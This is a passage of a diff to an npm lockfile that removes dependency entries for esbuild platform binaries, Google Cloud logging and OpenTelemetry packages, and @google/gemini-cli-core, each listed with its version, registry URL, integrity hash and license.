], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.27.7.tgz", - "integrity": "sha512-+A1NJmfM8WNDv5CLVQYJ5PshuRm/4cI6WMZRg1by1GwPIQPCTs1GLEUHwiiQGT5zDdyLiRM/l1G0Pv54gvtKIg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openharmony-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.27.7.tgz", - "integrity": "sha512-+KrvYb/C8zA9CU/g0sR6w2RBw7IGc5J2BPnc3dYc5VJxHCSF1yNMxTV5LQ7GuKteQXZtspjFbiuW5/dOj7H4Yw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/sunos-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.27.7.tgz", - "integrity": "sha512-ikktIhFBzQNt/QDyOL580ti9+5mL/YZeUPKU2ivGtGjdTYoqz6jObj6nOMfhASpS4GU4Q/Clh1QtxWAvcYKamA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "sunos" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-arm64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.27.7.tgz", - "integrity": "sha512-7yRhbHvPqSpRUV7Q20VuDwbjW5kIMwTHpptuUzV+AA46kiPze5Z7qgt6CLCK3pWFrHeNfDd1VKgyP4O+ng17CA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-ia32": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.27.7.tgz", - "integrity": "sha512-SmwKXe6VHIyZYbBLJrhOoCJRB/Z1tckzmgTLfFYOfpMAx63BJEaL9ExI8x7v0oAO3Zh6D/Oi1gVxEYr5oUCFhw==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-x64": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.27.7.tgz", - "integrity": "sha512-56hiAJPhwQ1R4i+21FVF7V8kSD5zZTdHcVuRFMW0hn753vVfQN8xlx4uOPT4xoGH0Z/oVATuR82AiqSTDIpaHg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@github/keytar": { - "version": "7.10.6", - "resolved": "https://registry.npmjs.org/@github/keytar/-/keytar-7.10.6.tgz", - "integrity": "sha512-mRW6cUsSG+nj4jp5gp8e91zPySaT73r+2JM6VyMZfrEgksjPmjSMr+tPGNOK3HUHV+GUU9B1LAiiYy/wmAnIxA==", - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "dependencies": { - "node-addon-api": "^8.3.0" - } - }, - "node_modules/@google-cloud/common": { - "version": "5.0.2", - "resolved": "https://registry.npmjs.org/@google-cloud/common/-/common-5.0.2.tgz", - "integrity": "sha512-V7bmBKYQyu0eVG2BFejuUjlBt+zrya6vtsKdY+JxMM/dNntPF41vZ9+LhOshEUH01zOHEqBSvI7Dad7ZS6aUeA==", - "license": "Apache-2.0", - "dependencies": { - "@google-cloud/projectify": "^4.0.0", - "@google-cloud/promisify": "^4.0.0", - "arrify": "^2.0.1", - "duplexify": "^4.1.1", - "extend": "^3.0.2", - "google-auth-library": "^9.0.0", - "html-entities": "^2.5.2", - "retry-request": "^7.0.0", - "teeny-request": "^9.0.0" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@google-cloud/common/node_modules/gaxios": { - "version": "6.7.1", - "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", - "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", - "license": "Apache-2.0", - "dependencies": { - "extend": "^3.0.2", - "https-proxy-agent": "^7.0.1", - "is-stream": "^2.0.0", - "node-fetch": "^2.6.9", - "uuid": "^9.0.1" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/@google-cloud/common/node_modules/gcp-metadata": { - "version": "6.1.1", - "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-6.1.1.tgz", - "integrity": "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A==", - "license": "Apache-2.0", - "dependencies": { - "gaxios": "^6.1.1", - "google-logging-utils": "^0.0.2", - "json-bigint": "^1.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/@google-cloud/common/node_modules/google-auth-library": { - "version": "9.15.1", - "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-9.15.1.tgz", - "integrity": "sha512-Jb6Z0+nvECVz+2lzSMt9u98UsoakXxA2HGHMCxh+so3n90XgYWkq5dur19JAJV7ONiJY22yBTyJB1TSkvPq9Ng==", - "license": "Apache-2.0", - "dependencies": { - "base64-js": "^1.3.0", - "ecdsa-sig-formatter": "^1.0.11", - "gaxios": "^6.1.1", - "gcp-metadata": "^6.1.0", - "gtoken": "^7.0.0", - "jws": "^4.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/@google-cloud/common/node_modules/google-logging-utils": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-0.0.2.tgz", - "integrity": "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "node_modules/@google-cloud/common/node_modules/node-fetch": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", - "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", - "license": "MIT", - "dependencies": { - "whatwg-url": "^5.0.0" - }, - "engines": { - "node": "4.x || >=6.0.0" - }, - "peerDependencies": { - "encoding": "^0.1.0" - }, - "peerDependenciesMeta": { - "encoding": { - "optional": true - } - } - }, - "node_modules/@google-cloud/logging": { - "version": "11.2.1", - "resolved": "https://registry.npmjs.org/@google-cloud/logging/-/logging-11.2.1.tgz", - "integrity": "sha512-2h9HBJG3OAsvzXmb81qXmaTPfXYU7KJTQUxunoOKFGnY293YQ/eCkW1Y5mHLocwpEqeqQYT/Qvl6Tk+Q7PfStw==", - "license": "Apache-2.0", - "dependencies": { - "@google-cloud/common": "^5.0.0", - "@google-cloud/paginator": "^5.0.0", - "@google-cloud/projectify": "^4.0.0", - "@google-cloud/promisify": "4.0.0", - "@opentelemetry/api": "^1.7.0", - "arrify": "^2.0.1", - "dot-prop": "^6.0.0", - "eventid": "^2.0.0", - "extend": "^3.0.2", - "gcp-metadata": "^6.0.0", - "google-auth-library": "^9.0.0", - "google-gax": "^4.0.3", - "on-finished": "^2.3.0", - "pumpify": "^2.0.1", - "stream-events": "^1.0.5", - "uuid": "^9.0.0" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@google-cloud/logging/node_modules/gaxios": { - "version": "6.7.1", - "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", - "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", - "license": "Apache-2.0", - "dependencies": { - "extend": "^3.0.2", - "https-proxy-agent": "^7.0.1", - "is-stream": "^2.0.0", - "node-fetch": "^2.6.9", - "uuid": "^9.0.1" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/@google-cloud/logging/node_modules/gcp-metadata": { - "version": "6.1.1", - "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-6.1.1.tgz", - "integrity": "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A==", - "license": "Apache-2.0", - "dependencies": { - "gaxios": "^6.1.1", - "google-logging-utils": "^0.0.2", - "json-bigint": "^1.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/@google-cloud/logging/node_modules/google-auth-library": { - "version": "9.15.1", - "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-9.15.1.tgz", - "integrity": "sha512-Jb6Z0+nvECVz+2lzSMt9u98UsoakXxA2HGHMCxh+so3n90XgYWkq5dur19JAJV7ONiJY22yBTyJB1TSkvPq9Ng==", - "license": "Apache-2.0", - "dependencies": { - "base64-js": "^1.3.0", - "ecdsa-sig-formatter": "^1.0.11", - "gaxios": "^6.1.1", - "gcp-metadata": "^6.1.0", - "gtoken": "^7.0.0", - "jws": "^4.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/@google-cloud/logging/node_modules/google-logging-utils": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-0.0.2.tgz", - "integrity": "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "node_modules/@google-cloud/logging/node_modules/node-fetch": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", - "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", - "license": "MIT", - "dependencies": { - "whatwg-url": "^5.0.0" - }, - "engines": { - "node": "4.x || >=6.0.0" - }, - "peerDependencies": { - "encoding": "^0.1.0" - }, - "peerDependenciesMeta": { - "encoding": { - "optional": true - } - } - }, - "node_modules/@google-cloud/opentelemetry-cloud-monitoring-exporter": { - "version": "0.21.0", - "resolved": "https://registry.npmjs.org/@google-cloud/opentelemetry-cloud-monitoring-exporter/-/opentelemetry-cloud-monitoring-exporter-0.21.0.tgz", - "integrity": "sha512-+lAew44pWt6rA4l8dQ1gGhH7Uo95wZKfq/GBf9aEyuNDDLQ2XppGEEReu6ujesSqTtZ8ueQFt73+7SReSHbwqg==", - "license": "Apache-2.0", - "dependencies": { - "@google-cloud/opentelemetry-resource-util": "^3.0.0", - "@google-cloud/precise-date": "^4.0.0", - "google-auth-library": "^9.0.0", - "googleapis": "^137.0.0" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.9.0", - "@opentelemetry/core": "^2.0.0", - "@opentelemetry/resources": "^2.0.0", - "@opentelemetry/sdk-metrics": "^2.0.0" - } - }, - "node_modules/@google-cloud/opentelemetry-cloud-monitoring-exporter/node_modules/gaxios": { - "version": "6.7.1", - "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", - "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", - "license": "Apache-2.0", - "dependencies": { - "extend": "^3.0.2", - "https-proxy-agent": "^7.0.1", - "is-stream": "^2.0.0", - "node-fetch": "^2.6.9", - "uuid": "^9.0.1" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/@google-cloud/opentelemetry-cloud-monitoring-exporter/node_modules/gcp-metadata": { - "version": "6.1.1", - "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-6.1.1.tgz", - "integrity": "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A==", - "license": "Apache-2.0", - "dependencies": { - "gaxios": "^6.1.1", - "google-logging-utils": "^0.0.2", - "json-bigint": "^1.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/@google-cloud/opentelemetry-cloud-monitoring-exporter/node_modules/google-auth-library": { - "version": "9.15.1", - "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-9.15.1.tgz", - "integrity": "sha512-Jb6Z0+nvECVz+2lzSMt9u98UsoakXxA2HGHMCxh+so3n90XgYWkq5dur19JAJV7ONiJY22yBTyJB1TSkvPq9Ng==", - "license": "Apache-2.0", - "dependencies": { - "base64-js": "^1.3.0", - "ecdsa-sig-formatter": "^1.0.11", - "gaxios": "^6.1.1", - "gcp-metadata": "^6.1.0", - "gtoken": "^7.0.0", - "jws": "^4.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/@google-cloud/opentelemetry-cloud-monitoring-exporter/node_modules/google-logging-utils": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-0.0.2.tgz", - "integrity": "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "node_modules/@google-cloud/opentelemetry-cloud-monitoring-exporter/node_modules/node-fetch": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", - "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", - "license": "MIT", - "dependencies": { - "whatwg-url": "^5.0.0" - }, - "engines": { - "node": "4.x || >=6.0.0" - }, - "peerDependencies": { - "encoding": "^0.1.0" - }, - "peerDependenciesMeta": { - "encoding": { - "optional": true - } - } - }, - "node_modules/@google-cloud/opentelemetry-cloud-trace-exporter": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/@google-cloud/opentelemetry-cloud-trace-exporter/-/opentelemetry-cloud-trace-exporter-3.0.0.tgz", - "integrity": "sha512-mUfLJBFo+ESbO0dAGboErx2VyZ7rbrHcQvTP99yH/J72dGaPbH2IzS+04TFbTbEd1VW5R9uK3xq2CqawQaG+1Q==", - "license": "Apache-2.0", - "dependencies": { - "@google-cloud/opentelemetry-resource-util": "^3.0.0", - "@grpc/grpc-js": "^1.1.8", - "@grpc/proto-loader": "^0.8.0", - "google-auth-library": "^9.0.0" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "@opentelemetry/api": "^1.0.0", - "@opentelemetry/core": "^2.0.0", - "@opentelemetry/resources": "^2.0.0", - "@opentelemetry/sdk-trace-base": "^2.0.0" - } - }, - "node_modules/@google-cloud/opentelemetry-cloud-trace-exporter/node_modules/gaxios": { - "version": "6.7.1", - "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", - "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", - "license": "Apache-2.0", - "dependencies": { - "extend": "^3.0.2", - "https-proxy-agent": "^7.0.1", - "is-stream": "^2.0.0", - "node-fetch": "^2.6.9", - "uuid": "^9.0.1" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/@google-cloud/opentelemetry-cloud-trace-exporter/node_modules/gcp-metadata": { - "version": "6.1.1", - "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-6.1.1.tgz", - "integrity": "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A==", - "license": "Apache-2.0", - "dependencies": { - "gaxios": "^6.1.1", - "google-logging-utils": "^0.0.2", - "json-bigint": "^1.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/@google-cloud/opentelemetry-cloud-trace-exporter/node_modules/google-auth-library": { - "version": "9.15.1", - "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-9.15.1.tgz", - "integrity": "sha512-Jb6Z0+nvECVz+2lzSMt9u98UsoakXxA2HGHMCxh+so3n90XgYWkq5dur19JAJV7ONiJY22yBTyJB1TSkvPq9Ng==", - "license": "Apache-2.0", - "dependencies": { - "base64-js": "^1.3.0", - "ecdsa-sig-formatter": "^1.0.11", - "gaxios": "^6.1.1", - "gcp-metadata": "^6.1.0", - "gtoken": "^7.0.0", - "jws": "^4.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/@google-cloud/opentelemetry-cloud-trace-exporter/node_modules/google-logging-utils": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-0.0.2.tgz", - "integrity": "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "node_modules/@google-cloud/opentelemetry-cloud-trace-exporter/node_modules/node-fetch": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", - "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", - "license": "MIT", - "dependencies": { - "whatwg-url": "^5.0.0" - }, - "engines": { - "node": "4.x || >=6.0.0" - }, - "peerDependencies": { - "encoding": "^0.1.0" - }, - "peerDependenciesMeta": { - "encoding": { - "optional": true - } - } - }, - "node_modules/@google-cloud/opentelemetry-resource-util": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/@google-cloud/opentelemetry-resource-util/-/opentelemetry-resource-util-3.0.0.tgz", - "integrity": "sha512-CGR/lNzIfTKlZoZFfS6CkVzx+nsC9gzy6S8VcyaLegfEJbiPjxbMLP7csyhJTvZe/iRRcQJxSk0q8gfrGqD3/Q==", - "license": "Apache-2.0", - "dependencies": { - "@opentelemetry/semantic-conventions": "^1.22.0", - "gcp-metadata": "^6.0.0" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "@opentelemetry/core": "^2.0.0", - "@opentelemetry/resources": "^2.0.0" - } - }, - "node_modules/@google-cloud/opentelemetry-resource-util/node_modules/gaxios": { - "version": "6.7.1", - "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", - "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", - "license": "Apache-2.0", - "dependencies": { - "extend": "^3.0.2", - "https-proxy-agent": "^7.0.1", - "is-stream": "^2.0.0", - "node-fetch": "^2.6.9", - "uuid": "^9.0.1" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/@google-cloud/opentelemetry-resource-util/node_modules/gcp-metadata": { - "version": "6.1.1", - "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-6.1.1.tgz", - "integrity": "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A==", - "license": "Apache-2.0", - "dependencies": { - "gaxios": "^6.1.1", - "google-logging-utils": "^0.0.2", - "json-bigint": "^1.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/@google-cloud/opentelemetry-resource-util/node_modules/google-logging-utils": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-0.0.2.tgz", - "integrity": "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "node_modules/@google-cloud/opentelemetry-resource-util/node_modules/node-fetch": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", - "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", - "license": "MIT", - "dependencies": { - "whatwg-url": "^5.0.0" - }, - "engines": { - "node": "4.x || >=6.0.0" - }, - "peerDependencies": { - "encoding": "^0.1.0" - }, - "peerDependenciesMeta": { - "encoding": { - "optional": true - } - } - }, - "node_modules/@google-cloud/paginator": { - "version": "5.0.2", - "resolved": "https://registry.npmjs.org/@google-cloud/paginator/-/paginator-5.0.2.tgz", - "integrity": "sha512-DJS3s0OVH4zFDB1PzjxAsHqJT6sKVbRwwML0ZBP9PbU7Yebtu/7SWMRzvO2J3nUi9pRNITCfu4LJeooM2w4pjg==", - "license": "Apache-2.0", - "dependencies": { - "arrify": "^2.0.0", - "extend": "^3.0.2" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@google-cloud/precise-date": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@google-cloud/precise-date/-/precise-date-4.0.0.tgz", - "integrity": "sha512-1TUx3KdaU3cN7nfCdNf+UVqA/PSX29Cjcox3fZZBtINlRrXVTmUkQnCKv2MbBUbCopbK4olAT1IHl76uZyCiVA==", - "license": "Apache-2.0", - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@google-cloud/projectify": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@google-cloud/projectify/-/projectify-4.0.0.tgz", - "integrity": "sha512-MmaX6HeSvyPbWGwFq7mXdo0uQZLGBYCwziiLIGq5JVX+/bdI3SAq6bP98trV5eTWfLuvsMcIC1YJOF2vfteLFA==", - "license": "Apache-2.0", - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@google-cloud/promisify": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@google-cloud/promisify/-/promisify-4.0.0.tgz", - "integrity": "sha512-Orxzlfb9c67A15cq2JQEyVc7wEsmFBmHjZWZYQMUyJ1qivXyMwdyNOs9odi79hze+2zqdTtu1E19IM/FtqZ10g==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "node_modules/@google/gemini-cli-core": { - "version": "0.41.2", - "resolved": "https://registry.npmjs.org/@google/gemini-cli-core/-/gemini-cli-core-0.41.2.tgz", - "integrity": "sha512-nJUmkiQh2hyp8lpMnJpBAvW0wtvnF7b3tqIVR8bSWwjB2CmcuHZjbRWN9wgFZ+RcGphfrvAJuaA9sEcr7+kLOQ==", - "license": "Apache-2.0", - "dependencies": { - "@a2a-js/sdk": "0.3.11", - "@bufbuild/protobuf": "^2.11.0", - "@google-cloud/logging": "^11.2.1", - "@google-cloud/opentelemetry-cloud-monitoring-exporter": "^0.21.0", - "@google-cloud/opentelemetry-cloud-trace-exporter": "^3.0.0", - "@google/genai": "1.30.0", - "@grpc/grpc-js": "^1.14.3", - "@iarna/toml": "^2.2.5", - "@modelcontextprotocol/sdk": "^1.23.0", - "@opentelemetry/api": "^1.9.0", - "@opentelemetry/api-logs": "^0.211.0", - "@opentelemetry/core": "^2.5.0", - "@opentelemetry/exporter-logs-otlp-grpc": "^0.211.0", - "@opentelemetry/exporter-logs-otlp-http": "^0.211.0", - "@opentelemetry/exporter-metrics-otlp-grpc": "^0.211.0", - "@opentelemetry/exporter-metrics-otlp-http": "^0.211.0", - "@opentelemetry/exporter-trace-otlp-grpc": "^0.211.0", - "@opentelemetry/exporter-trace-otlp-http": "^0.211.0", - "@opentelemetry/instrumentation-http": "^0.211.0", - "@opentelemetry/otlp-exporter-base": "^0.211.0", - "@opentelemetry/resources": "^2.5.0", - "@opentelemetry/sdk-logs": "^0.211.0", - "@opentelemetry/sdk-metrics": "^2.5.0", - "@opentelemetry/sdk-node": "^0.211.0", - "@opentelemetry/sdk-trace-base": "^2.5.0", - "@opentelemetry/sdk-trace-node": "^2.5.0", - "@opentelemetry/semantic-conventions": "^1.39.0", - "@types/html-to-text": "^9.0.4", - "@xterm/headless": "5.5.0", - "ajv": "^8.17.1", - "ajv-formats": "^3.0.0", - "chardet": "^2.1.0", - "chokidar": "^5.0.0", - "command-exists": "^1.2.9", - "diff": "^8.0.3", - "dotenv": "^17.2.4", - "dotenv-expand": "^12.0.3", - "execa": "^9.6.1", - "fast-levenshtein": "^2.0.6", - "fdir": "^6.4.6", - "fzf": "^0.5.2", - "glob": "^12.0.0", - "google-auth-library": "^9.11.0", - "html-to-text": "^9.0.5", - "https-proxy-agent": "^7.0.6", - "ignore": "^7.0.0", - "ipaddr.js": "^1.9.1", - "isbinaryfile": "^5.0.7", - "js-yaml": "^4.1.1", - "json-stable-stringify": "^1.3.0", - "marked": "^15.0.12", - "mime": "4.0.7", - "mnemonist": "^0.40.3", - "open": "^10.1.2", - "picomatch": "^4.0.1", - "proper-lockfile": "^4.1.2", - "puppeteer-core": "^24.0.0", - "read-package-up": "^11.0.0", - "shell-quote": "^1.8.3", - "simple-git": "^3.28.0", - "strip-ansi": "^7.1.0", - "strip-json-comments": "^3.1.1", - "systeminformation": "^5.25.11", - "tree-sitter-bash": "^0.25.0", - "undici": "^7.10.0", - "uuid": "^13.0.0", - "web-tree-sitter": "^0.25.10", - "zod": "^3.25.76", - "zod-to-json-schema": "^3.25.1" - }, - "engines": { - "node": ">=20" - }, - "optionalDependencies": { - "@github/keytar": "^7.10.6", - "@lydell/node-pty": "1.1.0", - "@lydell/node-pty-darwin-arm64": "1.1.0", - "@lydell/node-pty-darwin-x64": "1.1.0", - "@lydell/node-pty-linux-x64": "1.1.0", - "@lydell/node-pty-win32-arm64": "1.1.0", - "@lydell/node-pty-win32-x64": "1.1.0", - "node-pty": "^1.0.0" - } - }, - "node_modules/@google/gemini-cli-core/node_modules/@google/genai": { - "version": "1.30.0", - "resolved": "https://registry.npmjs.org/@google/genai/-/genai-1.30.0.tgz", - "integrity": "sha512-3MRcgczBFbUat1wIlZoLJ0vCCfXgm7Qxjh59cZi2X08RgWLtm9hKOspzp7TOg1TV2e26/MLxR2GR5yD5GmBV2w==", - "license": "Apache-2.0", - "dependencies": { - "google-auth-library": "^10.3.0", - "ws": "^8.18.0" - }, - "engines": { - "node": ">=20.0.0" - }, - "peerDependencies": { - "@modelcontextprotocol/sdk": "^1.20.1" - }, - "peerDependenciesMeta": { - "@modelcontextprotocol/sdk": { - "optional": true - } - } - }, - "node_modules/@google/gemini-cli-core/node_modules/@google/genai/node_modules/google-auth-library": { - "version": "10.6.2", - "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-10.6.2.tgz", - "integrity": "sha512-e27Z6EThmVNNvtYASwQxose/G57rkRuaRbQyxM2bvYLLX/GqWZ5chWq2EBoUchJbCc57eC9ArzO5wMsEmWftCw==", - "license": "Apache-2.0", - "dependencies": { - "base64-js": "^1.3.0", - "ecdsa-sig-formatter": "^1.0.11", - "gaxios": "^7.1.4", - "gcp-metadata": "8.1.2", - "google-logging-utils": "1.1.3", - "jws": "^4.0.0" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/@google/gemini-cli-core/node_modules/diff": { - "version": "8.0.4", - "resolved": "https://registry.npmjs.org/diff/-/diff-8.0.4.tgz", - "integrity": "sha512-DPi0FmjiSU5EvQV0++GFDOJ9ASQUVFh5kD+OzOnYdi7n3Wpm9hWWGfB/O2blfHcMVTL5WkQXSnRiK9makhrcnw==", - "license": "BSD-3-Clause", - "engines": { - "node": ">=0.3.1" - } - }, - "node_modules/@google/gemini-cli-core/node_modules/google-auth-library": { - "version": "9.15.1", - "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-9.15.1.tgz", - "integrity": "sha512-Jb6Z0+nvECVz+2lzSMt9u98UsoakXxA2HGHMCxh+so3n90XgYWkq5dur19JAJV7ONiJY22yBTyJB1TSkvPq9Ng==", - "license": "Apache-2.0", - "dependencies": { - "base64-js": "^1.3.0", - "ecdsa-sig-formatter": "^1.0.11", - "gaxios": "^6.1.1", - "gcp-metadata": "^6.1.0", - "gtoken": "^7.0.0", - "jws": "^4.0.0" - }, - "engines": { - "node": ">=14" - } - }, - "node_modules/@google/gemini-cli-core/node_modules/google-auth-library/node_modules/gaxios": { - "version": "6.7.1", - "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", - "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", - "license": "Apache-2.0", - "dependencies": { - "extend": "^3.0.2", - "https-proxy-agent": "^7.0.1", - "is-stream": "^2.0.0", - "node-fetch": "^2.6.9", - "uuid": "^9.0.1" - }, - "engines": { - "node": ">=14" - } - }, - 